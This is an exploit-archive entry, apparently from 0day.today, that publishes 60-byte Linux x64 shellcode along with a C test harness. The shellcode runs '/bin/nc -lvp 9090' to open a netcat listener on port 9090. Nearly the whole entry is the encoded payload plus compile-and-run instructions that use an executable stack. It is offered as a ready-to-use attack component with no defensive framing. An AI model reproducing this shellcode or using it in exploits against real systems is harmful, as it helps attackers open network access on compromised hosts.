Linux/x64 - Execute /bin/nc -lvp 9090 Shellcode (60 bytes)

2018-10-02T00:00:00
ID 1337DAY-ID-31236
Type zdt
Reporter artr0x__
Modified 2018-10-02T00:00:00

Description

Exploit for linux/x86-64 platform in category shellcode

                                        
                                            #Linux/x64 - Execute /bin/nc -lvp 9090 Shellcode (60 bytes)
#Usage: gcc sc.c -o sc -z execstack

#include <stdio.h>
#include <string.h>

int main(void){
        char *sc = "\x6a\x3b\x58\x99\x52\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x6e\x63\x53\x54\x5f\x52\x48\xc7\xc3\xd2\x93\x89\x8f\x48\xf7\xd3\x53\x54\x41\x58\x52\x48\xc7\xc3\xc6\xcf\xc6\xcf\x48\xf7\xd3\x53\x54\x41\x59\x52\x54\x5a\x41\x51\x41\x50\x57\x54\x5e\x0f\x05";
        printf("len: %d\n", strlen(sc));
        ((int(*)())sc)();


}


#  0day.today [2018-10-02]  #